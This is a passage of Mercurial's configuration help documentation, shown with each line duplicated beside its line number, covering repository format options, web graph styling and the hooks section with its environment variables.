1032 Enable or disable the "persistent-nodemap" feature which improves
1032 Enable or disable the "persistent-nodemap" feature which improves
1033 performance if the Rust extensions are available.
1033 performance if the Rust extensions are available.
1034
1034
1035 The "persistent-nodemap" persist the "node -> rev" on disk removing the
1035 The "persistent-nodemap" persist the "node -> rev" on disk removing the
1036 need to dynamically build that mapping for each Mercurial invocation. This
1036 need to dynamically build that mapping for each Mercurial invocation. This
1037 significantly reduces the startup cost of various local and server-side
1037 significantly reduces the startup cost of various local and server-side
1038 operation for larger repositories.
1038 operation for larger repositories.
1039
1039
1040 The performance-improving version of this feature is currently only
1040 The performance-improving version of this feature is currently only
1041 implemented in Rust (see :hg:`help rust`), so people not using a version of
1041 implemented in Rust (see :hg:`help rust`), so people not using a version of
1042 Mercurial compiled with the Rust parts might actually suffer some slowdown.
1042 Mercurial compiled with the Rust parts might actually suffer some slowdown.
1043 For this reason, such versions will by default refuse to access repositories
1043 For this reason, such versions will by default refuse to access repositories
1044 with "persistent-nodemap".
1044 with "persistent-nodemap".
1045
1045
1046 This behavior can be adjusted via configuration: check
1046 This behavior can be adjusted via configuration: check
1047 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
1047 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
1048
1048
1049 Repositories with this on-disk format require Mercurial 5.4 or above.
1049 Repositories with this on-disk format require Mercurial 5.4 or above.
1050
1050
1051 By default this format variant is disabled if the fast implementation is not
1051 By default this format variant is disabled if the fast implementation is not
1052 available, and enabled by default if the fast implementation is available.
1052 available, and enabled by default if the fast implementation is available.
1053
1053
1054 To accomodate installations of Mercurial without the fast implementation,
1054 To accomodate installations of Mercurial without the fast implementation,
1055 you can downgrade your repository. To do so run the following command:
1055 you can downgrade your repository. To do so run the following command:
1056
1056
1057 $ hg debugupgraderepo \
1057 $ hg debugupgraderepo \
1058 --run \
1058 --run \
1059 --config format.use-persistent-nodemap=False \
1059 --config format.use-persistent-nodemap=False \
1060 --config storage.revlog.persistent-nodemap.slow-path=allow
1060 --config storage.revlog.persistent-nodemap.slow-path=allow
1061
1061
1062 ``use-share-safe``
1062 ``use-share-safe``
1063 Enforce "safe" behaviors for all "shares" that access this repository.
1063 Enforce "safe" behaviors for all "shares" that access this repository.
1064
1064
1065 With this feature, "shares" using this repository as a source will:
1065 With this feature, "shares" using this repository as a source will:
1066
1066
1067 * read the source repository's configuration (`<source>/.hg/hgrc`).
1067 * read the source repository's configuration (`<source>/.hg/hgrc`).
1068 * read and use the source repository's "requirements"
1068 * read and use the source repository's "requirements"
1069 (except the working copy specific one).
1069 (except the working copy specific one).
1070
1070
1071 Without this feature, "shares" using this repository as a source will:
1071 Without this feature, "shares" using this repository as a source will:
1072
1072
1073 * keep tracking the repository "requirements" in the share only, ignoring
1073 * keep tracking the repository "requirements" in the share only, ignoring
1074 the source "requirements", possibly diverging from them.
1074 the source "requirements", possibly diverging from them.
1075 * ignore source repository config. This can create problems, like silently
1075 * ignore source repository config. This can create problems, like silently
1076 ignoring important hooks.
1076 ignoring important hooks.
1077
1077
1078 Beware that existing shares will not be upgraded/downgraded, and by
1078 Beware that existing shares will not be upgraded/downgraded, and by
1079 default, Mercurial will refuse to interact with them until the mismatch
1079 default, Mercurial will refuse to interact with them until the mismatch
1080 is resolved. See :hg:`help config.share.safe-mismatch.source-safe` and
1080 is resolved. See :hg:`help config.share.safe-mismatch.source-safe` and
1081 :hg:`help config.share.safe-mismatch.source-not-safe` for details.
1081 :hg:`help config.share.safe-mismatch.source-not-safe` for details.
1082
1082
1083 Introduced in Mercurial 5.7.
1083 Introduced in Mercurial 5.7.
1084
1084
1085 Enabled by default in Mercurial 6.1.
1085 Enabled by default in Mercurial 6.1.
1086
1086
1087 ``use-share-safe.automatic-upgrade-of-mismatching-repositories``
1087 ``use-share-safe.automatic-upgrade-of-mismatching-repositories``
1088 When enabled, an automatic upgrade will be triggered when a repository format
1088 When enabled, an automatic upgrade will be triggered when a repository format
1089 does not match its `use-share-safe` config.
1089 does not match its `use-share-safe` config.
1090
1090
1091 This is an advanced behavior that most users will not need. We recommend you
1091 This is an advanced behavior that most users will not need. We recommend you
1092 don't use this unless you are a seasoned administrator of a Mercurial install
1092 don't use this unless you are a seasoned administrator of a Mercurial install
1093 base.
1093 base.
1094
1094
1095 Automatic upgrade means that any process accessing the repository will
1095 Automatic upgrade means that any process accessing the repository will
1096 upgrade the repository format to use `share-safe`. This only triggers if a
1096 upgrade the repository format to use `share-safe`. This only triggers if a
1097 change is needed. This also applies to operation that would have been
1097 change is needed. This also applies to operation that would have been
1098 read-only (like hg status).
1098 read-only (like hg status).
1099
1099
1100 If the repository cannot be locked, the automatic-upgrade operation will be
1100 If the repository cannot be locked, the automatic-upgrade operation will be
1101 skipped. The next operation will attempt it again.
1101 skipped. The next operation will attempt it again.
1102
1102
1103 This configuration will apply for moves in any direction, either adding the
1103 This configuration will apply for moves in any direction, either adding the
1104 `share-safe` format if `format.use-share-safe=yes` or removing the
1104 `share-safe` format if `format.use-share-safe=yes` or removing the
1105 `share-safe` requirement if `format.use-share-safe=no`. So we recommend
1105 `share-safe` requirement if `format.use-share-safe=no`. So we recommend
1106 setting both this value and `format.use-share-safe` at the same time.
1106 setting both this value and `format.use-share-safe` at the same time.
1107
1107
1108 ``use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet``
1108 ``use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet``
1109 Hide message when performing such automatic upgrade.
1109 Hide message when performing such automatic upgrade.
1110
1110
1111 ``usestore``
1111 ``usestore``
1112 Enable or disable the "store" repository format which improves
1112 Enable or disable the "store" repository format which improves
1113 compatibility with systems that fold case or otherwise mangle
1113 compatibility with systems that fold case or otherwise mangle
1114 filenames. Disabling this option will allow you to store longer filenames
1114 filenames. Disabling this option will allow you to store longer filenames
1115 in some situations at the expense of compatibility.
1115 in some situations at the expense of compatibility.
1116
1116
1117 Repositories with this on-disk format require Mercurial version 0.9.4.
1117 Repositories with this on-disk format require Mercurial version 0.9.4.
1118
1118
1119 Enabled by default.
1119 Enabled by default.
1120
1120
1121 ``sparse-revlog``
1121 ``sparse-revlog``
1122 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
1122 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
1123 delta re-use inside revlog. For very branchy repositories, it results in a
1123 delta re-use inside revlog. For very branchy repositories, it results in a
1124 smaller store. For repositories with many revisions, it also helps
1124 smaller store. For repositories with many revisions, it also helps
1125 performance (by using shortened delta chains.)
1125 performance (by using shortened delta chains.)
1126
1126
1127 Repositories with this on-disk format require Mercurial version 4.7
1127 Repositories with this on-disk format require Mercurial version 4.7
1128
1128
1129 Enabled by default.
1129 Enabled by default.
1130
1130
1131 ``revlog-compression``
1131 ``revlog-compression``
1132 Compression algorithm used by revlog. Supported values are `zlib` and
1132 Compression algorithm used by revlog. Supported values are `zlib` and
1133 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
1133 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
1134 a newer format that is usually a net win over `zlib`, operating faster at
1134 a newer format that is usually a net win over `zlib`, operating faster at
1135 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
1135 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
1136 can be specified, the first available one will be used.
1136 can be specified, the first available one will be used.
1137
1137
1138 On some systems, the Mercurial installation may lack `zstd` support.
1138 On some systems, the Mercurial installation may lack `zstd` support.
1139
1139
1140 Default is `zstd` if available, `zlib` otherwise.
1140 Default is `zstd` if available, `zlib` otherwise.
1141
1141
1142 ``bookmarks-in-store``
1142 ``bookmarks-in-store``
1143 Store bookmarks in .hg/store/. This means that bookmarks are shared when
1143 Store bookmarks in .hg/store/. This means that bookmarks are shared when
1144 using `hg share` regardless of the `-B` option.
1144 using `hg share` regardless of the `-B` option.
1145
1145
1146 Repositories with this on-disk format require Mercurial version 5.1.
1146 Repositories with this on-disk format require Mercurial version 5.1.
1147
1147
1148 Disabled by default.
1148 Disabled by default.
1149
1149
1150
1150
1151 ``graph``
1151 ``graph``
1152 ---------
1152 ---------
1153
1153
1154 Web graph view configuration. This section let you change graph
1154 Web graph view configuration. This section let you change graph
1155 elements display properties by branches, for instance to make the
1155 elements display properties by branches, for instance to make the
1156 ``default`` branch stand out.
1156 ``default`` branch stand out.
1157
1157
1158 Each line has the following format::
1158 Each line has the following format::
1159
1159
1160 <branch>.<argument> = <value>
1160 <branch>.<argument> = <value>
1161
1161
1162 where ``<branch>`` is the name of the branch being
1162 where ``<branch>`` is the name of the branch being
1163 customized. Example::
1163 customized. Example::
1164
1164
1165 [graph]
1165 [graph]
1166 # 2px width
1166 # 2px width
1167 default.width = 2
1167 default.width = 2
1168 # red color
1168 # red color
1169 default.color = FF0000
1169 default.color = FF0000
1170
1170
1171 Supported arguments:
1171 Supported arguments:
1172
1172
1173 ``width``
1173 ``width``
1174 Set branch edges width in pixels.
1174 Set branch edges width in pixels.
1175
1175
1176 ``color``
1176 ``color``
1177 Set branch edges color in hexadecimal RGB notation.
1177 Set branch edges color in hexadecimal RGB notation.
1178
1178
1179 ``hooks``
1179 ``hooks``
1180 ---------
1180 ---------
1181
1181
1182 Commands or Python functions that get automatically executed by
1182 Commands or Python functions that get automatically executed by
1183 various actions such as starting or finishing a commit. Multiple
1183 various actions such as starting or finishing a commit. Multiple
1184 hooks can be run for the same action by appending a suffix to the
1184 hooks can be run for the same action by appending a suffix to the
1185 action. Overriding a site-wide hook can be done by changing its
1185 action. Overriding a site-wide hook can be done by changing its
1186 value or setting it to an empty string. Hooks can be prioritized
1186 value or setting it to an empty string. Hooks can be prioritized
1187 by adding a prefix of ``priority.`` to the hook name on a new line
1187 by adding a prefix of ``priority.`` to the hook name on a new line
1188 and setting the priority. The default priority is 0.
1188 and setting the priority. The default priority is 0.
1189
1189
1190 Example ``.hg/hgrc``::
1190 Example ``.hg/hgrc``::
1191
1191
1192 [hooks]
1192 [hooks]
1193 # update working directory after adding changesets
1193 # update working directory after adding changesets
1194 changegroup.update = hg update
1194 changegroup.update = hg update
1195 # do not use the site-wide hook
1195 # do not use the site-wide hook
1196 incoming =
1196 incoming =
1197 incoming.email = /my/email/hook
1197 incoming.email = /my/email/hook
1198 incoming.autobuild = /my/build/hook
1198 incoming.autobuild = /my/build/hook
1199 # force autobuild hook to run before other incoming hooks
1199 # force autobuild hook to run before other incoming hooks
1200 priority.incoming.autobuild = 1
1200 priority.incoming.autobuild = 1
1201 ### control HGPLAIN setting when running autobuild hook
1201 ### control HGPLAIN setting when running autobuild hook
1202 # HGPLAIN always set (default from Mercurial 5.7)
1202 # HGPLAIN always set (default from Mercurial 5.7)
1203 incoming.autobuild:run-with-plain = yes
1203 incoming.autobuild:run-with-plain = yes
1204 # HGPLAIN never set
1204 # HGPLAIN never set
1205 incoming.autobuild:run-with-plain = no
1205 incoming.autobuild:run-with-plain = no
1206 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1206 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1207 incoming.autobuild:run-with-plain = auto
1207 incoming.autobuild:run-with-plain = auto
1208
1208
1209 Most hooks are run with environment variables set that give useful
1209 Most hooks are run with environment variables set that give useful
1210 additional information. For each hook below, the environment variables
1210 additional information. For each hook below, the environment variables
1211 it is passed are listed with names in the form ``$HG_foo``. The
1211 it is passed are listed with names in the form ``$HG_foo``. The
1212 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1212 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1213 They contain the type of hook which triggered the run and the full name
1213 They contain the type of hook which triggered the run and the full name
1214 of the hook in the config, respectively. In the example above, this will
1214 of the hook in the config, respectively. In the example above, this will
1215 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1215 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1216
1216
1217 .. container:: windows
1217 .. container:: windows
1218
1218
1219 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1219 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1220 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1220 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1221 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1221 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1222 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1222 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1223 slash or inside of a strong quote. Strong quotes will be replaced by
1223 slash or inside of a strong quote. Strong quotes will be replaced by
1224 double quotes after processing.
1224 double quotes after processing.
1225
1225
1226 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1226 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1227 name on a new line, and setting it to ``True``. For example::
1227 name on a new line, and setting it to ``True``. For example::
1228
1228
1229 [hooks]
1229 [hooks]
1230 incoming.autobuild = /my/build/hook
1230 incoming.autobuild = /my/build/hook
1231 # enable translation to cmd.exe syntax for autobuild hook
1231 # enable translation to cmd.exe syntax for autobuild hook
1232 tonative.incoming.autobuild = True
1232 tonative.incoming.autobuild = True
1233
1233
1234 ``changegroup``
1234 ``changegroup``
1235 Run after a changegroup has been added via push, pull or unbundle. The ID of
1235 Run after a changegroup has been added via push, pull or unbundle. The ID of
1236 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1236 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1237 The URL from which changes came is in ``$HG_URL``.
1237 The URL from which changes came is in ``$HG_URL``.
1238
1238
1239 ``commit``
1239 ``commit``
1240 Run after a changeset has been created in the local repository. The ID
1240 Run after a changeset has been created in the local repository. The ID
1241 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1241 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1242 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1242 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1243
1243
1244 ``incoming``
1244 ``incoming``
1245 Run after a changeset has been pulled, pushed, or unbundled into
1245 Run after a changeset has been pulled, pushed, or unbundled into
1246 the local repository. The ID of the newly arrived changeset is in
1246 the local repository. The ID of the newly arrived changeset is in
1247 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1247 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1248
1248
1249 ``outgoing``
1249 ``outgoing``
1250 Run after sending changes from the local repository to another. The ID of
1250 Run after sending changes from the local repository to another. The ID of
1251 first changeset sent is in ``$HG_NODE``. The source of operation is in
1251 first changeset sent is in ``$HG_NODE``. The source of operation is in
1252 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1252 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1253
1253
1254 ``post-<command>``
1254 ``post-<command>``
1255 Run after successful invocations of the associated command. The
1255 Run after successful invocations of the associated command. The
1256 contents of the command line are passed as ``$HG_ARGS`` and the result
1256 contents of the command line are passed as ``$HG_ARGS`` and the result
1257 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1257 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1258 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1258 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1259 the python data internally passed to <command>. ``$HG_OPTS`` is a
1259 the python data internally passed to <command>. ``$HG_OPTS`` is a
1260 dictionary of options (with unspecified options set to their defaults).
1260 dictionary of options (with unspecified options set to their defaults).
1261 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1261 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1262
1262
1263 ``fail-<command>``
1263 ``fail-<command>``
1264 Run after a failed invocation of an associated command. The contents
1264 Run after a failed invocation of an associated command. The contents
1265 of the command line are passed as ``$HG_ARGS``. Parsed command line
1265 of the command line are passed as ``$HG_ARGS``. Parsed command line
1266 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1266 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1267 string representations of the python data internally passed to
1267 string representations of the python data internally passed to
1268 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1268 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1269 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1269 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1270 Hook failure is ignored.
1270 Hook failure is ignored.
1271
1271
1272 ``pre-<command>``
1272 ``pre-<command>``
1273 Run before executing the associated command. The contents of the
1273 Run before executing the associated command. The contents of the
1274 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1274 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1275 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1275 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1276 representations of the data internally passed to <command>. ``$HG_OPTS``
1276 representations of the data internally passed to <command>. ``$HG_OPTS``
1277 is a dictionary of options (with unspecified options set to their
1277 is a dictionary of options (with unspecified options set to their
1278 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1278 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1279 failure, the command doesn't execute and Mercurial returns the failure
1279 failure, the command doesn't execute and Mercurial returns the failure
1280 code.
1280 code.
1281
1281
1282 ``prechangegroup``
1282 ``prechangegroup``
1283 Run before a changegroup is added via push, pull or unbundle. Exit
1283 Run before a changegroup is added via push, pull or unbundle. Exit
1284 status 0 allows the changegroup to proceed. A non-zero status will
1284 status 0 allows the changegroup to proceed. A non-zero status will
1285 cause the push, pull or unbundle to fail. The URL from which changes
1285 cause the push, pull or unbundle to fail. The URL from which changes
1286 will come is in ``$HG_URL``.
1286 will come is in ``$HG_URL``.
1287
1287
1288 ``precommit``
1288 ``precommit``
1289 Run before starting a local commit. Exit status 0 allows the
1289 Run before starting a local commit. Exit status 0 allows the
1290 commit to proceed. A non-zero status will cause the commit to fail.
1290 commit to proceed. A non-zero status will cause the commit to fail.
1291 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1291 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1292
1292
1293 ``prelistkeys``
1293 ``prelistkeys``
1294 Run before listing pushkeys (like bookmarks) in the
1294 Run before listing pushkeys (like bookmarks) in the
1295 repository. A non-zero status will cause failure. The key namespace is
1295 repository. A non-zero status will cause failure. The key namespace is
1296 in ``$HG_NAMESPACE``.
1296 in ``$HG_NAMESPACE``.
1297
1297
1298 ``preoutgoing``
1298 ``preoutgoing``
1299 Run before collecting changes to send from the local repository to
1299 Run before collecting changes to send from the local repository to
1300 another. A non-zero status will cause failure. This lets you prevent
1300 another. A non-zero status will cause failure. This lets you prevent
1301 pull over HTTP or SSH. It can also prevent propagating commits (via
1301 pull over HTTP or SSH. It can also prevent propagating commits (via
1302 local pull, push (outbound) or bundle commands), but not completely,
1302 local pull, push (outbound) or bundle commands), but not completely,
1303 since you can just copy files instead. The source of operation is in
1303 since you can just copy files instead. The source of operation is in
1304 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1304 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1305 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1305 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1306 is happening on behalf of a repository on same system.
1306 is happening on behalf of a repository on same system.
1307
1307
1308 ``prepushkey``
1308 ``prepushkey``
1309 Run before a pushkey (like a bookmark) is added to the
1309 Run before a pushkey (like a bookmark) is added to the
1310 repository. A non-zero status will cause the key to be rejected. The
1310 repository. A non-zero status will cause the key to be rejected. The
1311 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1311 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1312 the old value (if any) is in ``$HG_OLD``, and the new value is in
1312 the old value (if any) is in ``$HG_OLD``, and the new value is in
1313 ``$HG_NEW``.
1313 ``$HG_NEW``.
1314
1314
1315 ``pretag``
1315 ``pretag``
1316 Run before creating a tag. Exit status 0 allows the tag to be
1316 Run before creating a tag. Exit status 0 allows the tag to be
1317 created. A non-zero status will cause the tag to fail. The ID of the
1317 created. A non-zero status will cause the tag to fail. The ID of the
1318 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1318 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1319 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1319 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1320
1320
1321 ``pretxnopen``
1321 ``pretxnopen``
1322 Run before any new repository transaction is open. The reason for the
1322 Run before any new repository transaction is open. The reason for the
1323 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1323 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1324 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1324 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1325 transaction from being opened.
1325 transaction from being opened.
1326
1326
1327 ``pretxnclose``
1327 ``pretxnclose``
1328 Run right before the transaction is actually finalized. Any repository change
1328 Run right before the transaction is actually finalized. Any repository change
1329 will be visible to the hook program. This lets you validate the transaction
1329 will be visible to the hook program. This lets you validate the transaction
1330 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1330 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1331 status will cause the transaction to be rolled back. The reason for the
1331 status will cause the transaction to be rolled back. The reason for the
1332 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1332 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1333 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1333 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1334 vary according the transaction type. Changes unbundled to the repository will
1334 vary according the transaction type. Changes unbundled to the repository will
1335 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1335 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1336 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1336 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1337 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1337 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1338 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1338 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1339 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1339 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1340
1340
1341 ``pretxnclose-bookmark``
1341 ``pretxnclose-bookmark``
1342 Run right before a bookmark change is actually finalized. Any repository
1342 Run right before a bookmark change is actually finalized. Any repository
1343 change will be visible to the hook program. This lets you validate the
1343 change will be visible to the hook program. This lets you validate the
1344 transaction content or change it. Exit status 0 allows the commit to
1344 transaction content or change it. Exit status 0 allows the commit to
1345 proceed. A non-zero status will cause the transaction to be rolled back.
1345 proceed. A non-zero status will cause the transaction to be rolled back.
1346 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1346 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1347 bookmark location will be available in ``$HG_NODE`` while the previous
1347 bookmark location will be available in ``$HG_NODE`` while the previous
1348 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1348 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1349 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1349 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1350 will be empty.
1350 will be empty.
1351 In addition, the reason for the transaction opening will be in
1351 In addition, the reason for the transaction opening will be in
1352 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1352 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1353 ``$HG_TXNID``.
1353 ``$HG_TXNID``.
1354
1354
1355 ``pretxnclose-phase``
1355 ``pretxnclose-phase``
1356 Run right before a phase change is actually finalized. Any repository change
1356 Run right before a phase change is actually finalized. Any repository change
1357 will be visible to the hook program. This lets you validate the transaction
1357 will be visible to the hook program. This lets you validate the transaction
1358 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1358 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1359 status will cause the transaction to be rolled back. The hook is called
1359 status will cause the transaction to be rolled back. The hook is called
1360 multiple times, once for each revision affected by a phase change.
1360 multiple times, once for each revision affected by a phase change.
1361 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1361 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1362 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1362 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1363 will be empty. In addition, the reason for the transaction opening will be in
1363 will be empty. In addition, the reason for the transaction opening will be in
1364 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1364 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1365 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1365 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1366 the ``$HG_OLDPHASE`` entry will be empty.
1366 the ``$HG_OLDPHASE`` entry will be empty.
1367
1367
1368 ``txnclose``
1368 ``txnclose``
1369 Run after any repository transaction has been committed. At this
1369 Run after any repository transaction has been committed. At this
1370 point, the transaction can no longer be rolled back. The hook will run
1370 point, the transaction can no longer be rolled back. The hook will run
1371 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1371 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1372 details about available variables.
1372 details about available variables.
1373
1373
1374 ``txnclose-bookmark``
1374 ``txnclose-bookmark``
1375 Run after any bookmark change has been committed. At this point, the
1375 Run after any bookmark change has been committed. At this point, the
1376 transaction can no longer be rolled back. The hook will run after the lock
1376 transaction can no longer be rolled back. The hook will run after the lock
1377 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1377 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1378 about available variables.
1378 about available variables.
1379
1379
1380 ``txnclose-phase``
1380 ``txnclose-phase``
1381 Run after any phase change has been committed. At this point, the
1381 Run after any phase change has been committed. At this point, the
1382 transaction can no longer be rolled back. The hook will run after the lock
1382 transaction can no longer be rolled back. The hook will run after the lock
1383 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1383 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1384 available variables.
1384 available variables.
1385
1385
1386 ``txnabort``
1386 ``txnabort``
1387 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1387 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1388 for details about available variables.
1388 for details about available variables.
1389
1389
1390 ``pretxnchangegroup``
1390 ``pretxnchangegroup``
1391 Run after a changegroup has been added via push, pull or unbundle, but before
1391 Run after a changegroup has been added via push, pull or unbundle, but before
1392 the transaction has been committed. The changegroup is visible to the hook
1392 the transaction has been committed. The changegroup is visible to the hook
1393 program. This allows validation of incoming changes before accepting them.
1393 program. This allows validation of incoming changes before accepting them.
1394 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1394 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1395 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1395 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1396 status will cause the transaction to be rolled back, and the push, pull or
1396 status will cause the transaction to be rolled back, and the push, pull or
1397 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1397 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1398
1398
1399 ``pretxncommit``
1399 ``pretxncommit``
1400 Run after a changeset has been created, but before the transaction is
1400 Run after a changeset has been created, but before the transaction is
1401 committed. The changeset is visible to the hook program. This allows
1401 committed. The changeset is visible to the hook program. This allows
1402 validation of the commit message and changes. Exit status 0 allows the
1402 validation of the commit message and changes. Exit status 0 allows the
1403 commit to proceed. A non-zero status will cause the transaction to
1403 commit to proceed. A non-zero status will cause the transaction to
1404 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1404 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1405 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1405 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1406
1406
1407 ``preupdate``
1407 ``preupdate``
1408 Run before updating the working directory. Exit status 0 allows
1408 Run before updating the working directory. Exit status 0 allows
1409 the update to proceed. A non-zero status will prevent the update.
1409 the update to proceed. A non-zero status will prevent the update.
1410 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1410 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1411 merge, the ID of second new parent is in ``$HG_PARENT2``.
1411 merge, the ID of second new parent is in ``$HG_PARENT2``.
1412
1412
1413 ``listkeys``
1413 ``listkeys``
1414 Run after listing pushkeys (like bookmarks) in the repository. The
1414 Run after listing pushkeys (like bookmarks) in the repository. The
1415 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1415 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1416 dictionary containing the keys and values.
1416 dictionary containing the keys and values.
1417
1417
1418 ``pushkey``
1418 ``pushkey``
1419 Run after a pushkey (like a bookmark) is added to the
1419 Run after a pushkey (like a bookmark) is added to the
